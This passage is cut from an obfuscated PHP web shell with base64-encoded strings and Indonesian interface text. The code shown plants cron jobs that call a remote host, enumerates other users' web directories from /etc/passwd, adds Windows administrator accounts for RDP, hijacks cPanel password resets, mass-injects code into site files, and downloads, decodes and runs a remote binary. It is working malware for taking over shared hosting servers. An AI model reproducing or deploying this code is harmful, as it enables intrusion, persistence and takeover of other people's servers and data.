wb('Ly53ZWxsLWtub3duL0RvY3VtZW50LnBocCIpIHwgY3JvbnRhYiAt')); exec(wb('KGNyb250YWIgLWwgMj4vZGV2L251bGwgfCBncmVwIC12ICJjdXJsIC1mc0xrIC9kZXYvbnVsbCAn') . decno(wb('eDhHc3ZiU1NlSHpQd3F1MWI4dTF2Tk91cDN1a3g3Wjg=')) . $_SERVER[wb('SFRUUF9IT1NU')] . wb('JnBpbmc9JyIpIHwgY3JvbnRhYiAt')); $output = null; exec(wb('Y3JvbnRhYiAtbA=='), $output); echo wb('PG9sPg=='); foreach ($output as $key) { echo wb('PGxpPg==') . $key . wb('PC9saT4='); } echo wb('PGxpPj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT08L2xpPjwvb2w+'); } if (isset($_POST[wb('aGFwdXNzZW11YQ==')])) { exec(wb('Y3JvbnRhYiAtcg=='), $output); exec(wb('Y3JvbnRhYiAtbA=='), $output); echo wb('PG9sPg=='); foreach ($output as $key) { echo wb('PGxpPg==') . $key . wb('PC9saT4='); } echo wb('PGxpPj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT08L2xpPjwvb2w+PGJyPiBTdWRhaCB0ZXJoYXB1cyBzZW11YSE='); } print wb('PC9kaXY+'); clearstatcache(); } else { echo wb('PGNlbnRlcj48aDI+RVhFQyBESVNBQkxFRCA8L2E+PC9jZW50ZXI+'); } } elseif (isset($_GET[hex(wb('anVtcGluZw=='))])) { AutomenU($d); echo wb('PGhyPjxicj48Y2VudGVyPjxoMj5KdW1waW5nIFk8L2gyPg=='); echo wb('PGZvcm0gbWV0aG9kID0gJ1BPU1QnIGFjdGlvbiA9ICcnPg=='); echo wb('PGlucHV0IHR5cGUgPSAnc3VibWl0JyBuYW1lID0gJ2p1bXAnIGNsYXNzPSdmb3JtLWNvbnRyb2wnIHN0eWxlPSd3aWR0aDoyNTBweDtoZWlnaHQ6NDBweDsnIHZhbHVlID0gJ0p1bXAhJz4g'); echo wb('PGJyPjxicj48L2NlbnRlcj4='); if (isset($_POST[wb('anVtcA==')])) { $i = 0; echo wb('PHByZT48ZGl2IGNsYXNzPSdtYXJnaW46IDVweCBhdXRvOyc+'); $etc = $GNJ[17](wb('L2V0Yy9wYXNzd2Q='), wb('cg==')) or die(wb('PGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+')); while ($passwd = fgets($etc)) { if ($passwd == '' || !$etc) { echo wb('PGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+'); } else { preg_match_all(wb('LyguKj8pOng6Lw=='), $passwd, $user_jumping); foreach ($user_jumping[1] as $user_Exc_jump) { $user_jumping_dir = "/home/{$user_Exc_jump}/public_html"; if ($GNJ[32]($user_jumping_dir)) { $i++; $jrw = "[<font color=lime>R</font>] <a href='?dir={$user_jumping_dir}'><font color=gold>{$user_jumping_dir}</font></a>"; if ($GNJ[31]($user_jumping_dir)) { $jrw = "[<font color=lime>RW</font>] <a href='?dir={$user_jumping_dir}'><font color=gold>{$user_jumping_dir}</font></a>"; } echo $jrw; if (function_exists(wb('cG9zaXhfZ2V0cHd1aWQ='))) { $domain_jump = fgt(wb('L2V0Yy9uYW1lZC5jb25m')); if ($domain_jump == '') { echo wb('ID0+ICggPGZvbnQgY29sb3I9cmVkPmdhYmlzYSBhbWJpbCBuYW1hIGRvbWFpbiBueWE8L2ZvbnQ+ICk8YnI+'); } else { preg_match_all(wb('Iy92YXIvbmFtZWQvKC4qPykuZGIj'), $domain_jump, $domains_jump); foreach ($domains_jump[1] as $dj) { $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/{$dj}")); $user_jumping_url = $user_jumping_url[wb('bmFtZQ==')]; if ($user_jumping_url == $user_Exc_jump) { echo " => ( <u>{$dj}</u> )<br>"; break; } } } } else { echo wb('PGJyPg=='); } } } } } if ($i == 0) { } else { echo wb('PGJyPlRvdGFsIGFkYSA=') . $i . wb('IEthbWFyIGRpIA==') . gethostbyname($_SERVER[wb('SFRUUF9IT1NU')]) . ''; } echo wb('PC9kaXY+PC9wcmU+'); } } elseif (isset($_GET[hex(wb('cmRw'))])) { AutomenU($d); $user = get_current_user(); if (!Unix()) { if ($_POST[wb('Y3JlYXRl')]) { $user = $GNJ[15]($_POST[wb('dXNlcg==')]); $pass = $GNJ[15]($_POST[wb('cGFzcw==')]); if (preg_match("/{$user}/", exe(wb('bmV0IHVzZXI=')))) { echo "[INFO] -> <font color=red>user <font color=lime>{$user}</font> sudah ada</font>"; } else { $add_user = exe("net user {$user} {$pass} /add"); $add_groups1 = exe("net localgroup Administrators {$user} /add"); $add_groups2 = exe("net localgroup Administrator {$user} /add"); $add_groups3 = exe("net localgroup Administrateur {$user} /add"); echo wb('WyBSRFAgQUNDT1VOVCBJTkZPIF08YnI+CgkJCQkJCQkJCQkJIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxicj4KCQkJCQkJCQkJCQkgSVA6IDxmb250IGNvbG9yPWxpbWU+') . gethostbyname($_SERVER[wb('SFRUUF9IT1NU')]) . "</font><br>
		\x9\x9\x9	\x9		\x9	 Username: <font color=lime>{$user}</font><br>\xa		\x9		\x9		\x9		 Password: <font color=lime>{$pass}</font><br>\xa		\x9\x9\x9	\x9			\x9 ------------------------------<br><br>
\x9\x9				\x9\x9			 [ STATUS ]<br>
	\x9	\x9\x9	\x9		\x9	 ------------------------------<br>
\x9\x9\x9								 "; if ($add_user) { echo wb('W2FkZCB1c2VyXSAtPiA8Zm9udCBjb2xvcj0nbGltZSc+QmVyaGFzaWw8L2ZvbnQ+PGJyPg=='); } else { echo wb('W2FkZCB1c2VyXSAtPiA8Zm9udCBjb2xvcj0ncmVkJz5HYWdhbDwvZm9udD48YnI+'); } if ($add_groups1) { echo wb('W2FkZCBsb2NhbGdyb3VwIEFkbWluaXN0cmF0b3JzXSAtPiA8Zm9udCBjb2xvcj0nbGltZSc+QmVyaGFzaWw8L2ZvbnQ+PGJyPg=='); } elseif ($add_groups2) { echo wb('W2FkZCBsb2NhbGdyb3VwIEFkbWluaXN0cmF0b3JdIC0+IDxmb250IGNvbG9yPSdsaW1lJz5CZXJoYXNpbDwvZm9udD48YnI+'); } elseif ($add_groups3) { echo wb('W2FkZCBsb2NhbGdyb3VwIEFkbWluaXN0cmF0ZXVyXSAtPiA8Zm9udCBjb2xvcj0nbGltZSc+QmVyaGFzaWw8L2ZvbnQ+PGJyPg=='); } else { echo wb('W2FkZCBsb2NhbGdyb3VwXSAtPiA8Zm9udCBjb2xvcj0ncmVkJz5HYWdhbDwvZm9udD48YnI+'); } echo wb('LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPg=='); } } elseif ($_POST[wb('c19vcHNp')]) { $user = $GNJ[15]($_POST[wb('cl91c2Vy')]); if ($_POST[wb('b3BzaQ==')] == wb('MQ==')) { $cek = exe("net user {$user}"); echo "Checking username <font color=lime>{$user}</font> ....... "; if (preg_match("/{$user}/", $cek)) { echo "[ <font color=lime>Sudah ada</font> ]<br>------------------------------<br><br>
                                            <pre>{$cek}</pre>"; } else { echo wb('WyA8Zm9udCBjb2xvcj1yZWQ+YmVsdW0gYWRhPC9mb250PiBd'); } } elseif ($_POST[wb('b3BzaQ==')] == wb('Mg==')) { $cek = exe("net user {$user} kasino"); if (preg_match("/{$user}/", exe(wb('bmV0IHVzZXI=')))) { echo wb('W2NoYW5nZSBwYXNzd29yZDogPGZvbnQgY29sb3I9bGltZT5rYXNpbm88L2ZvbnQ+XSAtPiA='); if ($cek) { echo wb('PGZvbnQgY29sb3I9bGltZT5CZXJoYXNpbDwvZm9udD4='); } else { echo wb('PGZvbnQgY29sb3I9cmVkPkdhZ2FsPC9mb250Pg=='); } } else { echo "[INFO] -> <font color=red>user <font color=lime>{$user}</font> belum ada</font>"; } } elseif ($_POST[wb('b3BzaQ==')] == wb('Mw==')) { $cek = exe("net user {$user} /DELETE"); if (preg_match("/{$user}/", exe(wb('bmV0IHVzZXI=')))) { echo "[remove user: <font color=lime>{$user}</font>] -> "; if ($cek) { echo wb('PGZvbnQgY29sb3I9bGltZT5CZXJoYXNpbDwvZm9udD4='); } else { echo wb('PGZvbnQgY29sb3I9cmVkPkdhZ2FsPC9mb250Pg=='); } } else { echo "[INFO] -> <font color=red>user <font color=lime>{$user}</font> belum ada</font>"; } } else { } } else { echo wb('PGhyPjxicj48Y2VudGVyPg=='); echo wb('PGgyPlJEUCBTaGVsbDwvaDI+'); echo wb('LS0gQ3JlYXRlIFJEUCAtLTxicj48Zm9ybSBtZXRob2Q9J3Bvc3QnPjxkaXYgY2xhc3M9J2NsZWFyZml4IHJvdyc+PGRpdiBjbGFzcz0nY29sLW1kLTQnPjx1PlVzZXJuYW1lOjwvdT4gPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wnbmFtZT0ndXNlcidzdHlsZT0nd2lkdGg6MjUwcHg7aGVpZ2h0OjQwcHgndmFsdWU9J1NhVGluR0dhJ3BsYWNlaG9sZGVyPSd1c2VybmFtZSdyZXF1aXJlZD48L2Rpdj48ZGl2IGNsYXNzPSdjb2wtbWQtNCc+PHU+UGFzc3dvcmQ6PC91PiA8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCduYW1lPSdwYXNzJ3N0eWxlPSd3aWR0aDoyNTBweDtoZWlnaHQ6NDBweCd2YWx1ZT0nU2FUaW5HR2EncGxhY2Vob2xkZXI9J3Bhc3N3b3JkJ3JlcXVpcmVkPjwvZGl2PjxkaXYgY2xhc3M9J2NvbC1tZC00Jz48dT5CdXR0b246PC91PiA8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCduYW1lPSdjcmVhdGUnc3R5bGU9J3dpZHRoOjI1MHB4O2hlaWdodDo0MHB4J3ZhbHVlPSdHYXNzJ3R5cGU9J3N1Ym1pdCc+PC9kaXY+PC9kaXY+PC9mb3JtPjxicj4tLSBPcHRpb24gLS08YnI+PGZvcm0gbWV0aG9kPSdwb3N0Jz48ZGl2IGNsYXNzPSdjbGVhcmZpeCByb3cnPjxkaXYgY2xhc3M9J2NvbC1tZC00Jz48aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCduYW1lPSdyX3VzZXInc3R5bGU9J3dpZHRoOjI1MHB4O2hlaWdodDo0MHB4J3BsYWNlaG9sZGVyPSd1c2VybmFtZSdyZXF1aXJlZD48L2Rpdj48ZGl2IGNsYXNzPSdjb2wtbWQtNCc+PHNlbGVjdCBjbGFzcz0nZm9ybS1jb250cm9sJ25hbWU9J29wc2knc3R5bGU9J3dpZHRoOjI1MHB4O2hlaWdodDo0MHB4Jz48b3B0aW9uIHZhbHVlPScxJz5DZWsgVXNlcm5hbWU8L29wdGlvbj48b3B0aW9uIHZhbHVlPScyJz5VYmFoIFBhc3N3b3JkPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nMyc+SGFwdXMgVXNlcm5hbWU8L29wdGlvbj48L3NlbGVjdD48L2Rpdj48ZGl2IGNsYXNzPSdjb2wtbWQtNCc+PGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wnbmFtZT0nc19vcHNpJ3N0eWxlPSd3aWR0aDoyNTBweDtoZWlnaHQ6NDBweCd2YWx1ZT0nQ2VrJ3R5cGU9J3N1Ym1pdCc+PC9kaXY+PC9kaXY+PC9mb3JtPjxocj48YnI+'); } } else { echo wb('PGNlbnRlcj48aDI+PGZvbnQgY29sb3I9cmVkPkZpdHVyIGluaSBoYW55YSBkYXBhdCBkaWd1bmFrYW4gZGFsYW0gV2luZG93cyBTZXJ2ZXIuPC9mb250PjwvaDI+PC9jZW50ZXI+'); } } elseif (isset($_GET[hex(wb('Y3BhbmVsLXJlc2V0'))])) { AutomenU($d); echo wb('PGhyPjxicj48Y2VudGVyPjxoMj5DcGFuZWwgUmVzZXQgWTwvaDI+PGJyPjxicj48Zm9ybSBhY3Rpb249IiJtZXRob2Q9InBvc3QiPjxiPkVtYWlsIDogPC9iPjxpbnB1dCBjbGFzcz0iZm9ybS1jb250cm9sIm5hbWU9ImVtYWlsInN0eWxlPSJ3aWR0aDoyNTBweDtoZWlnaHQ6NDBweCJ0eXBlPSJlbWFpbCJhdXRvY29tcGxldGU9Im9mZiI+PGJyPjxpbnB1dCBjbGFzcz0iZm9ybS1jb250cm9sIm5hbWU9InN1Ym1pdCJzdHlsZT0id2lkdGg6MjUwcHg7aGVpZ2h0OjQwcHgidHlwZT0ic3VibWl0InZhbHVlPSJSZXNldCBQYXNzd29yZCEiPjwvZm9ybT48YnI+PC9jZW50ZXI+PGJyPjxicj4g'); $user = get_current_user(); $site = $_SERVER[wb('SFRUUF9IT1NU')]; $ips = getenv(wb('UkVNT1RFX0FERFI=')); if (isset($_POST[wb('c3VibWl0')])) { $email = $_POST[wb('ZW1haWw=')]; $wr = wb('ZW1haWw6') . $email; $f = $GNJ[17](wb('L2hvbWUv') . $user . wb('Ly5jcGFuZWwvY29udGFjdGluZm8='), wb('dw==')); $GNJ[18]($f, $wr); $GNJ[19]($f); $f = $GNJ[17](wb('L2hvbWUv') . $user . wb('Ly5jb250YWN0aW5mbw=='), wb('dw==')); $GNJ[18]($f, $wr); $GNJ[19]($f); $parm = wb('Ly8=') . $site . wb('OjIwODMvcmVzZXRwYXNzP3N0YXJ0PTE='); echo wb('PGJyLz48Y2VudGVyPkRpc2luaSA8YSBocmVmPSI=') . $parm . wb('IiB0YXJnZXQ9Il9ibGFuayI+') . $parm . wb('PC9hPjwvY2VudGVyPg=='); } } elseif (isset($_GET[hex(wb('emlwLW1lbnU='))])) { AutomenU($d); echo wb('PGNlbnRlcj4='); echo wb('PGhyPjxicj4='); if (!class_exists(wb('WmlwQXJjaGl2ZQ=='))) { echo wb('PGgxIGNsYXNzPSdibGluayc+UEhQIFNlcnZlciBoYXMgTm8gWmlwQXJjaGl2ZSBDbGFzczwvaDE+PC9ocj4='); } echo wb('PGgyPlppcCBNZW51PC9oMj4='); if ($_FILES[wb('emlwX2ZpbGU=')][wb('bmFtZQ==')]) { $filename = $_FILES[wb('emlwX2ZpbGU=')][wb('bmFtZQ==')]; $source = $_FILES[wb('emlwX2ZpbGU=')][wb('dG1wX25hbWU=')]; $type = $_FILES[wb('emlwX2ZpbGU=')][wb('dHlwZQ==')]; $name = explode(wb('Lg=='), $filename); $accepted_types = array(wb('YXBwbGljYXRpb24vemlw'), wb('YXBwbGljYXRpb24veC16aXAtY29tcHJlc3NlZA=='), wb('bXVsdGlwYXJ0L3gtemlw'), wb('YXBwbGljYXRpb24veC1jb21wcmVzc2Vk')); foreach ($accepted_types as $mime_type) { if ($mime_type == $type) { $okay = true; break; } } $continue = strtolower($name[1]) == wb('emlw') ? true : false; if (!$continue) { $message = wb('SXR1IEJ1a2FuIFppcCAgLCAsIEdPQkxPSyBDT0s='); } $path = dirname(__FILE__) . wb('Lw=='); $filenoext = basename($filename, wb('LnppcA==')); $filenoext = basename($filenoext, wb('LlpJUA==')); $targetdir = $path . $filenoext; $targetzip = $path . $filename; if ($GNJ[8]($targetdir)) { rec($targetdir); } else { $GNJ[11]($targetdir, 511, true); } if (move_uploaded_file($source, $targetzip)) { if (class_exists(wb('WmlwQXJjaGl2ZQ=='))) { $zip = new ZipArchive(); $x = $zip->open($targetzip); if ($x === true) { $zip->extractTo($targetdir); $zip->close(); @$GNJ[10]($targetzip); } $message = wb('PGI+U3Vrc2VzIENvayA6KTwvYj4='); } else { $message = wb('PGI+RXJyb3IgSmFuY29rIDooPC9iPg=='); } } } echo wb('PGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+PGxhYmVsPlppcCBGaWxlIDogPGlucHV0IHR5cGU9ImZpbGUiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIG5hbWU9InppcF9maWxlIiAvPjwvbGFiZWw+PGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImZvcm0tY29udHJvbCIgc3R5bGU9IndpZHRoOjI1MHB4OyIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iVXBsb2FkIEFuZCBVbnppcCIgLz48L2Zvcm0+PGJyPjxicj4='); if ($message) { echo "<p>{$message}</p>"; } echo "<h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input class='form-control' type='text' name='dir' value='{$dir}' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input class='form-control' type='text' name='save' value='{$dir}/Y_backup.zip' style='width: 450px;' height='10'><br><br><input class='form-control' type='submit' name='backup' class='kotak' value='Back Up!' style='width: 215px;'></form><br><br>"; if ($_POST[wb('YmFja3Vw')]) { $save = $_POST[wb('c2F2ZQ==')]; function Zip($source, $destination) { global $GNJ; if (extension_loaded(wb('emlw')) === true) { if ($GNJ[26]($source) === true) { $zip = new ZipArchive(); if ($zip->open($destination, ZIPARCHIVE::CREATE) === true) { $source = realpath($source); if ($GNJ[8]($source) === true) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST); foreach ($files as $file) { $file = realpath($file); if ($GNJ[8]($file) === true) { $zip->addEmptyDir($GNJ[14]($source . wb('Lw=='), '', $file . wb('Lw=='))); } else { if (is_file($file) === true) { $zip->addFromString($GNJ[14]($source . wb('Lw=='), '', $file), fgt($file)); } } } } else { if (is_file($source) === true) { $zip->addFromString(basename($source), fgt($source)); } } } return $zip->close(); } } return false; } Zip($_POST[wb('ZGly')], $save); echo "Selesai , Save To <b>{$save}</b>"; } echo "<h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input class='form-control' type='text' name='dir' value='{$dir}/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input class='form-control' type='text' name='save' value='{$dir}/Y_unzip' style='width: 450px;' height='10'><br><br><input class='form-control' type='submit' name='extrak' class='kotak' value='Unzip!' style='width: 215px;'></form><br><br>"; if ($_POST[wb('ZXh0cmFr')]) { $save = $_POST[wb('c2F2ZQ==')]; $zip = new ZipArchive(); $res = $zip->open($_POST[wb('ZGly')]); if ($res === true) { $zip->extractTo($save); $zip->close(); OK(); } else { ER(); } } } elseif (isset($_GET[hex(wb('aW5qZWN0LWNvZGU='))])) { MassmenU($d); echo wb('PGNlbnRlcj48aDI+TWFzcyBDb2RlIEluamVjdG9yIFk8L2gyPjwvY2VudGVyPg=='); if (stristr(php_uname(), wb('V2luZG93cw=='))) { $DS = wb('XA=='); } else { if (stristr(php_uname(), wb('TGludXg='))) { $DS = wb('Lw=='); } } function get_structure($path, $depth) { global $DS; $res = array(); if (in_array(0, $depth)) { $res[] = $path; } if (in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) { $tmp1 = glob($path . $DS . wb('Kg=='), GLOB_ONLYDIR); if (in_array(1, $depth)) { $res = array_merge($res, $tmp1); } } if (in_array(2, $depth) or in_array(3, $depth)) { $tmp2 = array(); foreach ($tmp1 as $t) { $tp2 = glob($t . $DS . wb('Kg=='), GLOB_ONLYDIR); $tmp2 = array_merge($tmp2, $tp2); } if (in_array(2, $depth)) { $res = array_merge($res, $tmp2); } } if (in_array(3, $depth)) { $tmp3 = array(); foreach ($tmp2 as $t) { $tp3 = glob($t . $DS . wb('Kg=='), GLOB_ONLYDIR); $tmp3 = array_merge($tmp3, $tp3); } $res = array_merge($res, $tmp3); } return $res; } if (isset($_POST[wb('c3VibWl0')]) && $_POST[wb('c3VibWl0')] == wb('SW5qZWN0')) { $name = $_POST[wb('bmFtZQ==')] ? $_POST[wb('bmFtZQ==')] : wb('Kg=='); $type = $_POST[wb('dHlwZQ==')] ? $_POST[wb('dHlwZQ==')] : wb('aHRtbA=='); $path = $_POST[wb('cGF0aA==')] ? $_POST[wb('cGF0aA==')] : dapatCWD(); $code = $_POST[wb('Y29kZQ==')] ? $_POST[wb('Y29kZQ==')] : wb('RXJyb3I='); $mode = $_POST[wb('bW9kZQ==')] ? $_POST[wb('bW9kZQ==')] : wb('YQ=='); $depth = sizeof($_POST[wb('ZGVwdGg=')]) ? $_POST[wb('ZGVwdGg=')] : array(wb('MA==')); $dt = get_structure($path, $depth); foreach ($dt as $d) { if ($mode == wb('YQ==')) { if ($name === wb('Kg==')) { $name = glob(wb('Kg==') . $type); foreach ($name as $r) { if (file_put_contents($d . $DS . $r, $code, FILE_APPEND | LOCK_EX)) { echo wb('PGRpdj48c3Ryb25nPg==') . $d . $DS . $r . wb('PC9zdHJvbmc+PHNwYW4gc3R5bGU9ImNvbG9yOnJlZDsiPiB3YXMgaW5qZWN0ZWQ8L3NwYW4+PC9kaXY+'); } else { echo wb('PGRpdj48c3BhbiBzdHlsZT0iY29sb3I6cmVkOyI+ZmFpbGVkIHRvIGluamVjdDwvc3Bhbj4gPHN0cm9uZz4=') . $d . $DS . $r . wb('PC9zdHJvbmc+PC9kaXY+'); } } } else { if (file_put_contents($d . $DS . $name . wb('Lg==') . $type, $code, FILE_APPEND | LOCK_EX)) { echo wb('PGRpdj48c3Ryb25nPg==') . $d . $DS . $name . wb('Lg==') . $type . wb('PC9zdHJvbmc+PHNwYW4gc3R5bGU9ImNvbG9yOnJlZDsiPiB3YXMgaW5qZWN0ZWQ8L3NwYW4+PC9kaXY+'); } else { echo wb('PGRpdj48c3BhbiBzdHlsZT0iY29sb3I6cmVkOyI+ZmFpbGVkIHRvIGluamVjdDwvc3Bhbj4gPHN0cm9uZz4=') . $d . $DS . $name . wb('Lg==') . $type . wb('PC9zdHJvbmc+PC9kaXY+'); } } } elseif ($mode == wb('YWY=')) { if ($name === wb('Kg==')) { $name = glob(wb('Kg==') . $type); foreach ($name as $r) { $prepender = prepend($code, $d . $DS . $r); } } else { $prepender = prepend($code, $d . $DS . $name . wb('Lg==') . $type); } } else { if (file_put_contents($d . $DS . $name . wb('Lg==') . $type, $code)) { echo wb('PGRpdj48c3Ryb25nPg==') . $d . $DS . $name . wb('Lg==') . $type . wb('PC9zdHJvbmc+PHNwYW4gc3R5bGU9ImNvbG9yOnJlZDsiPiB3YXMgaW5qZWN0ZWQ8L3NwYW4+PC9kaXY+'); } else { echo wb('PGRpdj48c3BhbiBzdHlsZT0iY29sb3I6cmVkOyI+ZmFpbGVkIHRvIGluamVjdDwvc3Bhbj4gPHN0cm9uZz4=') . $d . $DS . $name . wb('Lg==') . $type . wb('PC9zdHJvbmc+PC9kaXY+'); } } } } else { echo wb('PGZvcm0gYWN0aW9uPSIibWV0aG9kPSJwb3N0Ij48Y2VudGVyPjx0YWJsZSBhbGlnbj0iY2VudGVyIj48dHI+PGJyPjx0ZD5EaXJlY3RvcnkgOjwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJwYXRoInZhbHVlPSI=') . dapatCWD() . wb('ImNsYXNzPSJmb3JtLWNvbnRyb2wiY2xhc3M9ImJveCJzaXplPSI1MCI+PC90ZD48L3RyPjx0cj48dGQgY2xhc3M9InRpdGxlIj5Nb2RlIDo8L3RkPjx0ZD48c2VsZWN0IGNsYXNzPSJmb3JtLWNvbnRyb2wiY2xhc3M9ImJveCJuYW1lPSJtb2RlInN0eWxlPSJ3aWR0aDoxNzVweCI+PG9wdGlvbiB2YWx1ZT0iYSI+QXBwZW5kZXIgRW5kPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iYWYic2VsZWN0ZWQ+UHJlcGVuZGVyIEZpcnN0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idyI+T3ZlcndyaXRlcjwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSJ0aXRsZSI+RmlsZSBOYW1lICYgVHlwZSA6PC90ZD48dGQgY2xhc3M9ImZvcm0taW5saW5lIj48YnI+PGlucHV0IG5hbWU9Im5hbWUidmFsdWU9IioiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHN0eWxlPSJ3aWR0aDoxMDBweCI+IDxzZWxlY3QgY2xhc3M9ImZvcm0tY29udHJvbCBtbC0zIiBjbGFzcz0iYm94IiBuYW1lPSJ0eXBlIiBzdHlsZT0id2lkdGg6MTUwcHgiPjxvcHRpb24gdmFsdWU9Imh0bWwiPkhUTUw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJodG0iPkhUTTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InBocCIgc2VsZWN0ZWQ+UEhQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iYXNwIj5BU1A8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJhc3B4Ij5BU1BYPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ieG1sIj5YTUw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ0eHQiPlRYVDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSJ0aXRsZSI+Q29kZSBJbmplY3QgRGVwdGggOjwvdGQ+PHRkIGNsYXNzPSJmb3JtLWNoZWNrIGZvcm0tY2hlY2staW5saW5lIj48aW5wdXQgbmFtZT0iZGVwdGhbXSIgdHlwZT0iY2hlY2tib3giIHZhbHVlPSIwIiBjaGVja2VkPiAwICZuYnNwOyA8aW5wdXQgbmFtZT0iZGVwdGhbXSIgdHlwZT0iY2hlY2tib3giIHZhbHVlPSIxIj4gMSAmbmJzcDsgPGlucHV0IG5hbWU9ImRlcHRoW10iIHR5cGU9ImNoZWNrYm94IiB2YWx1ZT0iMiI+IDIgJm5ic3A7IDxpbnB1dCBuYW1lPSJkZXB0aFtdIiB0eXBlPSJjaGVja2JveCIgdmFsdWU9IjMiPiAzPC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0iMiI+PHRleHRhcmVhIGNsYXNzPSJmb3JtLWNvbnRyb2wibmFtZT0iY29kZSJzdHlsZT0id2lkdGg6MTAwJSI+PC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPSIyIiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXIiPjxpbnB1dCBuYW1lPSJhIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJJbmplY3RvciI+IDxpbnB1dCBuYW1lPSJjInR5cGU9ImhpZGRlbiJ2YWx1ZT0i') . $GNJ[15](dapatCWD()) . wb('Ij4gPGlucHV0IG5hbWU9InAxInR5cGU9ImhpZGRlbiI+IDxpbnB1dCBuYW1lPSJwMiIgdHlwZT0iaGlkZGVuIj4gPGlucHV0IG5hbWU9ImNoYXJzZXQidHlwZT0iaGlkZGVuInZhbHVlPSI=') . (isset($_POST[wb('Y2hhcnNldA==')]) ? $_POST[wb('Y2hhcnNldA==')] : '') . wb('Ij4gPGlucHV0IG5hbWU9InN1Ym1pdCJ0eXBlPSJzdWJtaXQiIHZhbHVlPSJJbmplY3QiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIG9uY2xpY2s9InJldHVybiBjb25maXJtKCdZYWtpbiBhdGF1IHRpZGFrID8nKTsiIHN0eWxlPSJwYWRkaW5nOjVweDt3aWR0aDoxMDBweCI+PC90ZD48YnI+PC90cj48L3RhYmxlPjwvZm9ybT4='); } echo wb('PGJyPg=='); } elseif (isset($_GET[hex(wb('eGluZm8='))])) { AutomenU($d); $vt_key = wb('MDVhZTU2ZDI4NGU4OWM1ODE0MGJlYTVkMzFjNWQzMWZjNjFmN2FjM2NhMWY2Y2JjNzQyNmMyOWE0N2E3ZTBlYg=='); echo wb('PGNlbnRlcj48aHI+PGJyPjxoMj5YLUlORk88L2gyPg=='); echo wb('PHN0eWxlPnByZSBzcGFue2Rpc3BsYXk6YmxvY2s7bGluZS1oZWlnaHQ6MS41cmVtfXByZSBzcGFuOmJlZm9yZXtjb3VudGVyLWluY3JlbWVudDpsaW5lO2NvbnRlbnQ6Y291bnRlcihsaW5lKTtkaXNwbGF5OmlubGluZS1ibG9jaztib3JkZXItcmlnaHQ6MXB4IHNvbGlkICNkZGQ7cGFkZGluZzowIC41ZW07bWFyZ2luLXJpZ2h0Oi41ZW07Y29sb3I6Izg4ODt3aWR0aDozMHB4fTwvc3R5bGU+'); if ($GNJ[26](wb('b3NrYWRvbm95ZS50eHQ='))) { echo wb('PHByZT48dGV4dGFyZWEgcmVhZG9ubHk+') . b64dd(fgt(wb('b3NrYWRvbm95ZS50eHQ='))) . wb('PC90ZXh0YXJlYT48L3ByZT4='); } else { @set_time_limit(0); $checkinfo = exe(wb('d2dldCAtLXVzZXItYWdlbnQ9IiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNzQuMC4zNzI5LjE2OSBTYWZhcmkvNTM3LjM2IiAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIA==') . decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3o3eThqb0ptdmJTOA==')) . wb('ICYmIGJhc2U2NCAtZCA1LnBzZCA+IGFwYWxvZSAmJiBjaG1vZCAreCBhcGFsb2U7cm0gLXJmIDUucHNkICYmIC4vYXBhbG9lIC1hTnNxID4gb3NrYWRvbi50eHQgJiYgcm0gLXJmIGFwYWxvZSAmJiBiYXNlNjQgb3NrYWRvbi50eHQgPiBvc2thZG9ub3llLnR4dCAmJiBybSAtcmYgb3NrYWRvbi50eHQ=')); } } elseif (isset($_GET[hex(wb('ZGItZHVtcA=='))])) { 